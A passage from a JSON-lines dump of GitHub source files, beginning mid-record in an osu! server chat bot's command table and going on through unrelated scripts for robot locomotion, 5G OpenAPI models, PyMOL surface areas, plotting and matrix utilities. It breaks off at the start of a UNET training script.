'ranked'\n\telif result['ranked'] == 5:\n\t\trankedStatus = 'loved'\n\telse:\n\t\trankedStatus = 'previously nominated'\n\n\treturn \"The map was {} by: {}.\".format(rankedStatus, userUtils.getUsername(result['rankedby']))\n\t\n\n# Custom meme commands -Night\ndef mokobe(fro, chan, message):\n\treturn \"Mokobe is such a slave you could call him a second me.\"\n\ndef night(fro, chan, message):\n\treturn \"Night is my dad, he modified me. o////o\"\n\ndef phil(fro, chan, message):\n\treturn \"Phil is my lord and savior. Enough said.\"\n\ndef mirai(fro, chan, message):\n\treturn \"Yep, thats me! It's not like I want to help you or anything. Baka. >_> (!help)\"\n\n\"\"\"\nCommands list\n\ntrigger: message that triggers the command\ncallback: function to call when the command is triggered. Optional.\nresponse: text to return when the command is triggered. Optional.\nsyntax: command syntax. Arguments must be separated by spaces (eg: )\nprivileges: privileges needed to execute the command. Optional.\n\n\"\"\"\n\ncommands = [\n\t{\n\t\t\"trigger\": \"!mirai\",\n\t\t\"callback\": mirai\n\t}, {\n\t\t\"trigger\": \"!roll\",\n\t\t\"callback\": roll\n\t}, {\n\t\t\"trigger\": \"!faq\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": faq\n\t}, {\n#\t\t\"trigger\": \"!cv\",\n#\t\t\"privileges\": privileges.ADMIN_CAKER,\n#\t\t\"callback\": cleanVivid\n#\t}, {\n\t\t\"trigger\": \"!bruh\",\n\t\t\"callback\": bruh\n\t}, {\n\t\t\"trigger\": \"!restrictme\",\n\t\t\"callback\": restrictme\n\t}, {\n\t\t\"trigger\": \"!oof\",\n\t\t\"callback\": oof\n\t}, {\n\t\t\"trigger\": \"!d\",\n\t\t\"callback\": ping\n\t}, {\t\n\t\t\"trigger\": \"!report\",\n\t\t\"callback\": report\n\t}, {\n\t\t\"trigger\": \"!help\",\n\t\t\"response\": \"Click (here)[http://revipsu.cf/doc/commands] for Fokabot's full command list\"\n\t}, {\n\t\t\"trigger\": \"!contest\",\n\t\t\"callback\": competitionMap\n\t}, {\n\t\t\"trigger\": \"!announcecontest\",\n\t\t\"privileges\": privileges.ADMIN_SEND_ALERTS,\n\t\t\"callback\": announceContest\n\t}, {\t\t\t\n\t\t\"trigger\": \"!announce\",\t\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_SEND_ALERTS,\n\t\t\"callback\": postAnnouncement\n\t}, {\n\t\t\"trigger\": \"!linkdiscord\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": linkDiscord\n\t}, {\n\t\t\"trigger\": \"!map\",\n\t\t\"syntax\": \" \",\n\t\t\"callback\": editMap\n\t}, {\n\t\t\"trigger\": \"!love\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_BEATMAPS,\t\t\n\t\t\"callback\": fokabotlove\n\t}, {\t\n\t\t\"trigger\": \"!rank\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_BEATMAPS,\t\t\n\t\t\"callback\": fokabotrank\n\t}, {\t\n\t\t\"trigger\": \"!unrank\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_BEATMAPS,\t\t\n\t\t\"callback\": fokabotunrank\n\t}, {\t\t\n\t\t\"trigger\": \"!request\",\n\t\t\"syntax\": \" \",\n\t\t\"callback\": requestMap\n\t}, {\n\t\t\"trigger\": \"!alert\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_SEND_ALERTS,\n\t\t\"callback\": alert\n\t}, {\n\t\t\"trigger\": \"!alertuser\",\n\t\t\"syntax\": \" \",\n\t\t\"privileges\": privileges.ADMIN_SEND_ALERTS,\n\t\t\"callback\": alertUser,\n\t}, {\n\t\t\"trigger\": \"!moderated\",\n\t\t\"privileges\": privileges.ADMIN_CHAT_MOD,\n\t\t\"callback\": moderated\n\t}, {\n\t\t\"trigger\": \"!kickall\",\n\t\t\"privileges\": privileges.ADMIN_CAKER,\n\t\t\"callback\": kickAll\n\t}, {\n\t\t\"trigger\": \"!kick\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_KICK_USERS,\n\t\t\"callback\": kick\n\t}, {\n\t\t\"trigger\": \"!mirai reconnect\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": fokabotReconnect\n\t}, {\n\t\t\"trigger\": \"!silence\",\n\t\t\"syntax\": \" \",\n\t\t\"privileges\": privileges.ADMIN_SILENCE_USERS,\n\t\t\"callback\": silence\n\t}, {\n\t\t\"trigger\": \"!erestrict\",\n\t\t\"syntax\": \" \",\n\t\t\"privileges\": privileges.ADMIN_BAN_USERS,\n\t\t\"callback\": enqueueRestriction\n\t}, {\n\t\t\"trigger\": \"!eunrestrict\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_BAN_USERS,\n\t\t\"callback\": unenqueueRestriction\n\t}, {\n\t\t\"trigger\": \"!removesilence\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_SILENCE_USERS,\n\t\t\"callback\": removeSilence\n\t}, {\n\t\t\"trigger\": \"!system restart\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": systemRestart\n\t}, {\n\t\t\"trigger\": \"!system shutdown\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": systemShutdown\n\t}, {\n\t\t\"trigger\": \"!system reload\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SETTINGS,\n\t\t\"callback\": systemReload\n\t}, {\n\t\t\"trigger\": \"!system maintenance\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": systemMaintenance\n\t}, {\n\t\t\"trigger\": \"!system status\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": systemStatus\n\t}, {\n\t\t\"trigger\": \"!ban\",\n\t\t\"syntax\": \" \",\n\t\t\"privileges\": privileges.ADMIN_BAN_USERS,\n\t\t\"callback\": ban\n\t}, {\n\t\t\"trigger\": \"!unban\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_BAN_USERS,\n\t\t\"callback\": unban\n\t}, {\n\t\t\"trigger\": \"!restrict\",\n\t\t\"syntax\": \" \",\n\t\t\"privileges\": privileges.ADMIN_CHAT_MOD,\n\t\t\"callback\": restrict\n\t}, {\n\t\t\"trigger\": \"!unrestrict\",\n\t\t\"syntax\": \"\",\n\t\t\"privileges\": privileges.ADMIN_CHAT_MOD,\n\t\t\"callback\": unrestrict\n\t}, {\n\t\t\"trigger\": \"\\x01ACTION is listening to\",\n\t\t\"callback\": tillerinoNp\n\t}, {\n\t\t\"trigger\": \"\\x01ACTION is playing\",\n\t\t\"callback\": tillerinoNp\n\t}, {\n\t\t\"trigger\": \"\\x01ACTION is watching\",\n\t\t\"callback\": tillerinoNp\n\t}, {\n\t\t\"trigger\": \"!with\",\n\t\t\"callback\": tillerinoMods,\n\t\t\"syntax\": \"\"\n\t}, {\n\t\t\"trigger\": \"!last\",\n\t\t\"callback\": tillerinoLast\n\t}, {\n\t\t\"trigger\": \"!sr\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": silentRestart\n\t}, {\n\t\t\"trigger\": \"!ir\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_SERVERS,\n\t\t\"callback\": instantRestart\n\t}, {\n\t\t\"trigger\": \"!bloodcat\",\n\t\t\"callback\": bloodcat\n\t}, {\n\t\t\"trigger\": \"!pp\",\n\t\t\"callback\": pp\n\t}, {\n\t\t\"trigger\": \"!update\",\n\t\t\"callback\": updateBeatmap\n\t}, {\n\t\t\"trigger\": \"!mp\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": multiplayer\n\t}, {\n\t\t\"trigger\": \"!switchserver\",\n\t\t\"privileges\": privileges.ADMIN_CAKER,\n\t\t\"syntax\": \" \",\n\t\t\"callback\": switchServer\n\t}, {\n\t\t\"trigger\": \"!rtx\",\n\t\t\"privileges\": privileges.USER_TOURNAMENT_STAFF,\n\t\t\"syntax\": \" \",\n\t\t\"callback\": rtx\n\t}, {\n\t\t\"trigger\": \"!changeusername\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_USERS,\n\t\t\"syntax\": \" \",\n\t\t\"callback\": changeUsername\n\t}, {\n\t\t\"trigger\": \"!c\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": changeUsernameSelf\n }, {\n\t\t\"trigger\": \"!night\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": nightSwitch\n\t}, {\n\t\t\"trigger\": \"!track\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_USERS,\n\t\t\"syntax\": \"\",\n\t\t\"callback\": trackUserOnline\n\t}, {\n\t\t\"trigger\": \"!untrack\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_USERS,\n\t\t\"syntax\": \"\",\n\t\t\"callback\": untrackUserOnline\t\t\n\t}, {\n\t\t\"trigger\": \"!r\",\n\t\t\"callback\": recommendMap\t\t\n\t}, {\n\t\t\"trigger\": \"!rx\",\n\t\t\"callback\": rxrecommendMap\t\t\n\t}, {\n\t\t\"trigger\": \"!delta\",\n\t\t\"callback\": delta\t\t\n\t}, {\t\t\n\t\t\"trigger\": \"!dt\",\n\t\t\"callback\": discordTest\t\t\n\t}, {\t\n\t\t\"trigger\": \"!greq\",\n\t\t\"privileges\": privileges.ADMIN_MANAGE_BEATMAPS,\n\t\t\"callback\": getBeatmapRequest\n\t}, {\n\t\t\"trigger\": \"!playtime\",\n\t\t\"callback\": getPlaytime\n\t}, {\n\t\t\"trigger\": \"!togglenotifs\",\n\t\t\"callback\": toggleNotifications\n\t}, {\n\t\t\"trigger\": \"!whitelist\",\n\t\t\"privileges\": privileges.ADMIN_BAN_USERS,\n\t\t\"syntax\": \" \",\n\t\t\"callback\": whitelistUserPPLimit\n\t}, {\t\n\t\t\"trigger\": \"!whoranked\",\n\t\t\"syntax\": \"\",\n\t\t\"callback\": getMapNominator\t\t\n\t}\n]\n\n# Commands list default values\nfor cmd in commands:\n\tcmd.setdefault(\"syntax\", \"\")\n\tcmd.setdefault(\"privileges\", None)\n\tcmd.setdefault(\"callback\", None)\n\tcmd.setdefault(\"response\", \"ok stop digging this deep\")\n","repo_name":"Impairation/Bancho","sub_path":"constants/fokabotCommands.py","file_name":"fokabotCommands.py","file_ext":"py","file_size_in_byte":95669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"31560113686","text":"import os\n\nimport torch as th\n\n\"\"\"Utilities for building environments.\"\"\"\nfrom blind_walking.envs import locomotion_gym_config, locomotion_gym_env\nfrom blind_walking.envs.env_modifiers import train_course\nfrom blind_walking.envs.env_wrappers import observation_dictionary_to_array_wrapper as obs_array_wrapper\nfrom blind_walking.envs.env_wrappers import simple_openloop, trajectory_generator_wrapper_env\nfrom blind_walking.envs.sensors import cpg_sensors, environment_sensors, robot_sensors, sensor_wrappers\nfrom blind_walking.envs.tasks import imitation_task\nfrom blind_walking.envs.utilities.controllable_env_randomizer_from_config import ControllableEnvRandomizerFromConfig\nfrom blind_walking.robots import a1, laikago, robot_config\n\ndata_path = os.path.join(os.getcwd(), \"blind_walking/data\")\n\ndef build_regular_env(\n robot_class,\n enable_rendering=False,\n on_rack=False,\n action_limit=(0.5, 0.5, 0.5),\n robot_sensor_list=None,\n env_sensor_list=None,\n env_randomizer_list=None,\n env_modifier_list=None,\n task=None,\n # CPG sensor kwargs\n gait_name = None,\n gait_frequency = None,\n duty_factor = None\n):\n\n\n sim_params = locomotion_gym_config.SimulationParameters()\n sim_params.enable_rendering = enable_rendering\n sim_params.motor_control_mode = robot_config.MotorControlMode.POSITION\n sim_params.reset_time = 2\n sim_params.num_action_repeat = 25\n sim_params.enable_action_interpolation = False\n sim_params.enable_action_filter = True\n sim_params.enable_clip_motor_commands = True\n sim_params.robot_on_rack = on_rack\n\n gym_config = locomotion_gym_config.LocomotionGymConfig(simulation_parameters=sim_params)\n\n if robot_sensor_list is None:\n robot_sensor_list = [\n robot_sensors.BaseVelocitySensor(convert_to_local_frame=True),\n sensor_wrappers.HistoricSensorWrapper(\n robot_sensors.IMUSensor(channels=[\"R\", \"P\", \"dR\", \"dP\", \"dY\"]), num_history=3\n ),\n sensor_wrappers.HistoricSensorWrapper(robot_sensors.MotorAngleSensor(num_motors=a1.NUM_MOTORS), num_history=3),\n cpg_sensors.ReferenceGaitSensor(\n gait_names=[\"walk\", \"trot\"] if gait_name is None else [gait_name],\n gait_frequency_upper=2.5 if gait_frequency is None else gait_frequency,\n gait_frequency_lower=1.5 if gait_frequency is None else gait_frequency,\n duty_factor_upper=0.75 if duty_factor is None else duty_factor,\n duty_factor_lower=0.5 if duty_factor is None else duty_factor,\n obs_steps_ahead=[0, 1, 2, 10, 50],\n ),\n ]\n if env_sensor_list is None:\n env_sensor_list = [\n environment_sensors.ForwardTargetPositionSensor(min_range=0.01, max_range=0.02),\n ]\n\n if env_randomizer_list is None:\n env_randomizer_list = []\n\n if env_modifier_list is None:\n env_modifier_list = []\n\n if task is None:\n task = imitation_task.ImitationTask()\n\n env = locomotion_gym_env.LocomotionGymEnv(\n gym_config=gym_config,\n robot_class=robot_class,\n robot_sensors=robot_sensor_list,\n env_sensors=env_sensor_list,\n task=task,\n env_randomizers=env_randomizer_list,\n env_modifiers=env_modifier_list,\n data_path = data_path\n )\n\n env = obs_array_wrapper.ObservationDictionaryToArrayWrapper(env)\n env = trajectory_generator_wrapper_env.TrajectoryGeneratorWrapperEnv(\n env,\n trajectory_generator=simple_openloop.LaikagoPoseOffsetGenerator(action_limit=action_limit),\n )\n\n return env\n","repo_name":"dtch1997/cpg-locomotion","sub_path":"blind_walking/envs/env_builder.py","file_name":"env_builder.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"71521343118","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.base_model_ import Model\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.failed_modification_info import FailedModificationInfo\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.n32f_error_detail import N32fErrorDetail\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.n32f_error_type import N32fErrorType\nfrom openapi_server import util\n\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.failed_modification_info import FailedModificationInfo # noqa: E501\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.n32f_error_detail import N32fErrorDetail # noqa: E501\nfrom openapi_server.com.h21lab.TS29573_N32_Handshake.handler.n32f_error_type import N32fErrorType # noqa: E501\n\nclass N32fErrorInfo(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, n32f_message_id=None, n32f_error_type=None, failed_modification_list=None, error_details_list=None): # noqa: E501\n \"\"\"N32fErrorInfo - a model defined in OpenAPI\n\n :param n32f_message_id: The n32f_message_id of this N32fErrorInfo. # noqa: E501\n :type n32f_message_id: str\n :param n32f_error_type: The n32f_error_type of this N32fErrorInfo. # noqa: E501\n :type n32f_error_type: N32fErrorType\n :param failed_modification_list: The failed_modification_list of this N32fErrorInfo. # noqa: E501\n :type failed_modification_list: List[FailedModificationInfo]\n :param error_details_list: The error_details_list of this N32fErrorInfo. # noqa: E501\n :type error_details_list: List[N32fErrorDetail]\n \"\"\"\n self.openapi_types = {\n 'n32f_message_id': str,\n 'n32f_error_type': N32fErrorType,\n 'failed_modification_list': List[FailedModificationInfo],\n 'error_details_list': List[N32fErrorDetail]\n }\n\n self.attribute_map = {\n 'n32f_message_id': 'n32fMessageId',\n 'n32f_error_type': 'n32fErrorType',\n 'failed_modification_list': 'failedModificationList',\n 'error_details_list': 'errorDetailsList'\n }\n\n self._n32f_message_id = n32f_message_id\n self._n32f_error_type = n32f_error_type\n self._failed_modification_list = failed_modification_list\n self._error_details_list = error_details_list\n\n @classmethod\n def from_dict(cls, dikt) -> 'N32fErrorInfo':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The N32fErrorInfo of this N32fErrorInfo. # noqa: E501\n :rtype: N32fErrorInfo\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def n32f_message_id(self):\n \"\"\"Gets the n32f_message_id of this N32fErrorInfo.\n\n\n :return: The n32f_message_id of this N32fErrorInfo.\n :rtype: str\n \"\"\"\n return self._n32f_message_id\n\n @n32f_message_id.setter\n def n32f_message_id(self, n32f_message_id):\n \"\"\"Sets the n32f_message_id of this N32fErrorInfo.\n\n\n :param n32f_message_id: The n32f_message_id of this N32fErrorInfo.\n :type n32f_message_id: str\n \"\"\"\n if n32f_message_id is None:\n raise ValueError(\"Invalid value for `n32f_message_id`, must not be `None`\") # noqa: E501\n\n self._n32f_message_id = n32f_message_id\n\n @property\n def n32f_error_type(self):\n \"\"\"Gets the n32f_error_type of this N32fErrorInfo.\n\n\n :return: The n32f_error_type of this N32fErrorInfo.\n :rtype: N32fErrorType\n \"\"\"\n return self._n32f_error_type\n\n @n32f_error_type.setter\n def n32f_error_type(self, n32f_error_type):\n \"\"\"Sets the n32f_error_type of this N32fErrorInfo.\n\n\n :param n32f_error_type: The n32f_error_type of this N32fErrorInfo.\n :type n32f_error_type: N32fErrorType\n \"\"\"\n if n32f_error_type is None:\n raise ValueError(\"Invalid value for `n32f_error_type`, must not be `None`\") # noqa: E501\n\n self._n32f_error_type = n32f_error_type\n\n @property\n def failed_modification_list(self):\n \"\"\"Gets the failed_modification_list of this N32fErrorInfo.\n\n\n :return: The failed_modification_list of this N32fErrorInfo.\n :rtype: List[FailedModificationInfo]\n \"\"\"\n return self._failed_modification_list\n\n @failed_modification_list.setter\n def failed_modification_list(self, failed_modification_list):\n \"\"\"Sets the failed_modification_list of this N32fErrorInfo.\n\n\n :param failed_modification_list: The failed_modification_list of this N32fErrorInfo.\n :type failed_modification_list: List[FailedModificationInfo]\n \"\"\"\n\n self._failed_modification_list = failed_modification_list\n\n @property\n def error_details_list(self):\n \"\"\"Gets the error_details_list of this N32fErrorInfo.\n\n\n :return: The error_details_list of this N32fErrorInfo.\n :rtype: List[N32fErrorDetail]\n \"\"\"\n return self._error_details_list\n\n @error_details_list.setter\n def error_details_list(self, error_details_list):\n \"\"\"Sets the error_details_list of this N32fErrorInfo.\n\n\n :param error_details_list: The error_details_list of this N32fErrorInfo.\n :type error_details_list: List[N32fErrorDetail]\n \"\"\"\n\n self._error_details_list = error_details_list\n","repo_name":"H21lab/5GC_build","sub_path":"Examples/python_server/openapi_server/com/h21lab/TS29573_N32_Handshake/handler/n32f_error_info.py","file_name":"n32f_error_info.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"15083782823","text":"from __future__ import print_function\n\nimport __main__\n\n__main__.pymol_argv = [\"pymol\", \"-qc\"]\n\nimport pymol\n\npymol.finish_launching()\n\nimport argparse\nimport os\nimport sys\nfrom pymol import cmd, stored\n\n\ndef compute_contact_surface(opts):\n with open(opts.output, \"w\") as fd:\n print(\n \"{:5}{:>12}{:>12}{:>12}{:>12}{:>12}\".format(\n \"\",\n \"ligand\",\n \"protein\",\n \"complex\",\n \"contact\",\n \"ligand\",\n ),\n file=fd,\n )\n\n print(\n \"{:5}{:>12}{:>12}{:>12}{:>12}{:>12}\".format(\n \"frame\",\n \"area(Å\\u00b2)\",\n \"area(Å\\u00b2)\",\n \"area(Å\\u00b2)\",\n \"area(Å\\u00b2)\",\n \"portion(%)\",\n ),\n file=fd,\n )\n\n for f in range(2, cmd.count_frames() + 1):\n print(\"Processing frame {}...\".format(f - 1), flush=True)\n cmd.frame(f)\n set_selections(opts, f)\n ligand_area = cmd.get_area(\"ligand\", f)\n protein_area = cmd.get_area(\"protein\", f)\n complex_area = cmd.get_area(\"complex\", f)\n contact_area = ((ligand_area + protein_area) - complex_area) / 2\n ligand_portion = (contact_area * 100) / ligand_area\n print(\n \"{:5}{:12.4f}{:12.4f}{:12.4f}{:12.4f}{:12.1f}\".format(\n f - 1,\n ligand_area,\n protein_area,\n complex_area,\n contact_area,\n ligand_portion,\n ),\n file=fd,\n )\n print(\"Output written to {}\".format(opts.output))\n\n\ndef load_file(opts):\n cmd.load(opts.topology)\n cmd.load_traj(\n opts.trajectory,\n start=opts.frames[0] if opts.frames else 1,\n stop=opts.frames[1] if opts.frames else -1,\n interval=opts.frames[2] if opts.frames else 1,\n selection=\"{} or {}\".format(opts.ligand_sel, opts.protein_sel),\n )\n\n\ndef parse_args(argv):\n parser = argparse.ArgumentParser(description=__doc__)\n\n parser.add_argument(\n \"-top\", dest=\"topology\", help=\"Structure file (.pdb, .psf, .cms, .gro)\"\n )\n parser.add_argument(\n \"-traj\", dest=\"trajectory\", help=\"Trajectory file (.dcd, .crd .xtc, .trr)\"\n )\n parser.add_argument(\n \"-f\",\n \"--frames\",\n help=\"\"\"\n Frames to load. Can be either a single integer to specify a particular\n frame, or a range, e.g., 10:100 for frame 10 through 100, 5:1000:10 for\n every 10th frame between 5 through 1000. If not given, all frames will be\n loaded\n \"\"\",\n )\n parser.add_argument(\n \"-p\",\n \"--protein\",\n dest=\"protein_sel\",\n required=True,\n help=\"Protein atom selection. Defaults to '%(default)s'\",\n )\n parser.add_argument(\n \"-l\",\n \"--ligand\",\n dest=\"ligand_sel\",\n required=True,\n help=\"Ligand atom selection.\",\n )\n parser.add_argument(\n \"-s\",\n \"--surface-type\",\n default=\"sasa\",\n choices=(\"molecular\", \"sasa\"),\n help=\"\"\"\n Calculate molecular surface ('molecular') or solvent accesible surface area\n ('sasa'). Defaults to %(default)s.\n \"\"\",\n )\n parser.add_argument(\n \"-d\",\n \"--density\",\n dest=\"dot_density\",\n default=3,\n choices=(0, 1, 2, 3, 4),\n help=\"\"\"\n Dot density in PyMOL (0-4). Higher is better but slower. Defaults to\n %(default)s.\n \"\"\",\n )\n parser.add_argument(\"-o\", \"--output\", help=\"Output name.\")\n\n opts = parser.parse_args(argv)\n\n opts.protein_sel = \"{}\".format(opts.protein_sel)\n opts.ligand_sel = \"{}\".format(opts.ligand_sel)\n\n filename = os.path.basename(opts.output)\n basename, ext = os.path.splitext(filename)\n if not ext:\n ext = \".dat\"\n opts.output += ext\n\n if opts.frames is not None:\n tokens = [int(token) for token in opts.frames.split(\":\")]\n if len(tokens) == 1:\n start = stop = tokens[0]\n else:\n start = tokens[0]\n stop = tokens[1]\n step = tokens[2] if len(tokens) > 2 else 1\n opts.frames = (start, stop, step)\n\n if len(opts.frames) == 1:\n opts.output = \"{}_frame_{}{}\".format(basename, opts.frames[0], ext)\n elif opts.frames[2] == 1:\n opts.output = \"{}_frame_{}-{}{}\".format(\n basename, opts.frames[0], opts.frames[1], ext\n )\n else:\n opts.output = \"{}_frame_{}-{}_every_{}{}\".format(\n basename, opts.frames[0], opts.frames[1], opts.frames[2], ext\n )\n\n return opts\n\n\ndef set_options(opts):\n if opts.surface_type == \"sasa\":\n cmd.set(\"dot_solvent\", 1)\n elif opts.surface_type == \"molecular\":\n cmd.set(\"dot_solvent\", 0)\n cmd.set(\"dot_density\", opts.dot_density)\n\n\ndef set_selections(opts, f):\n cmd.delete(\"ligand\")\n cmd.delete(\"protein\")\n cmd.delete(\"complex\")\n cmd.create(\"ligand\", opts.ligand_sel, f)\n cmd.create(\"protein\", opts.protein_sel, f)\n cmd.create(\"complex\", \"protein or ligand\", f)\n\n\ndef main(argv):\n opts = parse_args(argv)\n print(\"Selected options:\", opts)\n\n load_file(opts)\n set_options(opts)\n compute_contact_surface(opts)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"maurobedoya/contact_surface","sub_path":"md_contact_surface.py","file_name":"md_contact_surface.py","file_ext":"py","file_size_in_byte":5523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25856546870","text":"import random\ng = open(\"gender\",'w')\n\nwith open(\"user_id\") as f:\n\tfor line in f:\n\t\tlikes = random.randint(0, 1)\n\t\tg.write(str(likes))\n\t\tg.write('\\n')\ng.close()\n\n","repo_name":"winniekao/final-proj","sub_path":"mytrip/use_for_data/rel.user/random_gender.py","file_name":"random_gender.py","file_ext":"py","file_size_in_byte":161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16479814889","text":"from ghostwriter import make_sentence, build_chain, get_words\n\n\ndef main():\n words = get_words('text.txt')\n print(words)\n chain = build_chain(words)\n print(chain)\n sentence = make_sentence(chain, 20)\n print(sentence)\n\n\nif __name__ == '__main__':\n main()","repo_name":"yoidea/markov_chain","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"21870238724","text":"import matplotlib.pyplot as plt\nimport os\nimport sys\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nLOG_DIR = os.path.join(BASE_DIR, 'logdso8(kp0.6 valid_rnd)')\n# LOG_DIR = '/home/chihyu/Desktop'\nepoch = []\nepoch_mean_loss = []\nepoch_accuracy = []\nval_mean_loss = []\nval_accuracy = []\nval_avg_class_acc = []\nwith open(LOG_DIR +'/log_train.txt', 'r') as f:\n lines = f.readlines()\n for line in lines:\n if '**** EPOCH ' in line.strip():\n epoch.append(int(line.split()[-2]))\n elif '(epoch) mean loss' in line.strip():\n epoch_mean_loss.append(float(line.split()[-1]))\n elif '(epoch) accuracy' in line.strip():\n epoch_accuracy.append(float(line.split()[-1]))\n elif 'valid mean loss' in line.strip():\n val_mean_loss.append(float(line.split()[-1]))\n elif 'valid accuracy' in line.strip():\n val_accuracy.append(float(line.split()[-1]))\n elif 'valid avg class acc' in line.strip():\n val_avg_class_acc.append(float(line.split()[-1]))\n f.close()\n\nfig, (loss, acc) = plt.subplots(1, 2, figsize=(14,6)) # 1 row 2 column\nfig.suptitle('Learning curve (valid: random 20% cuboids)\\n \\\n [lr=0.001, step=300000, rate=0.5]', fontsize=12)\nline1, = loss.plot(epoch, epoch_mean_loss, color='tab:blue', label='train')\nline2, = loss.plot(epoch, val_mean_loss, color='tab:orange', label='valid')\nloss.legend(handles = [line1, line2], loc='upper left')\nloss.set_title('Model Loss')\n\nline3, = acc.plot(epoch, epoch_accuracy, color='tab:blue', label='train')\nline4, = acc.plot(epoch, val_accuracy, color='tab:orange', label='valid')\nline5, = acc.plot(epoch, val_avg_class_acc, color='tab:red', label='valid avg class')\nacc.legend(handles = [line3, line4, line5], loc='lower right')\nacc.set_title('Model Accuracy')\n# plt.show()\nfig.savefig(LOG_DIR + '/graph.png')\n\n# line1, = plt.plot(epoch, epoch_mean_loss, color='tab:blue', linestyle='--', label='train mean loss')\n# line2, = plt.plot(epoch, epoch_accuracy, color='tab:blue', label='train accuracy')\n# line3, = plt.plot(epoch, val_mean_loss, color='tab:orange', linestyle='--', label='valid mean loss')\n# line4, = plt.plot(epoch, val_accuracy, color='tab:orange', label='valid accuracy')\n# line5, = plt.plot(epoch, val_avg_class_acc, color='firebrick', label='valid accuracy')\n# plt.legend(handles = [line1, line2, line3, line4, line5], loc='center right')\n# plt.show()","repo_name":"May7331/HD-Map-Generation","sub_path":"src/pointnet/plot_result.py","file_name":"plot_result.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"17582970436","text":"import random\nimport numpy as np\n\n\ndef shuffle_rows(m, v):\n buf = np.array([*m.transpose(), v]).transpose()\n perm = [i for i in range(len(buf))]\n random.shuffle(perm)\n new_m = np.array([])\n new_v = []\n for i in range(len(v)):\n g = perm[i]\n new_m = np.array([*new_m, buf[g][:-1]])\n new_v.append(buf[g][-1])\n return new_m, new_v\n\n\ndef shuffle_lin_comb(m, v):\n if len(m) <= 1:\n return m, v\n\n while 1:\n new_m = np.copy(m)\n new_v = v.copy()\n for i in range(1):\n new_m, new_v = shuffle_rows(new_m, new_v)\n # new_m = shuffle_columns(new_m)\n for i in range(20):\n ind1 = random.randint(0, len(m) - 2)\n ind2 = random.randint(ind1 + 1, len(m) - 1)\n mn = random.randint(-2, 2)\n new_m[ind1] += new_m[ind2]\n new_v[ind1] += new_v[ind2]\n return new_m, new_v\n\n\nprint(shuffle_lin_comb(np.array([\n [1, 0, 0],\n [0, 1, 0],\n [0, 0, 1]\n]), [1, 1, 1]))\n","repo_name":"PhoenixNazarov/linal","sub_path":"1 sem/method_gausse.py","file_name":"method_gausse.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16283495920","text":"import torch\r\nimport albumentations as A\r\nfrom albumentations.pytorch import ToTensorV2\r\nfrom tqdm import tqdm\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom model import UNET\r\nfrom changeModel import RohitConv\r\nfrom utils import (\r\n load_checkpoint,\r\n save_checkpoint,\r\n get_loaders,\r\n check_accuracy,\r\n save_predictions_as_imgs,\r\n)\r\nfrom diceLoss import DiceLoss\r\n\r\n# Hyperparameters 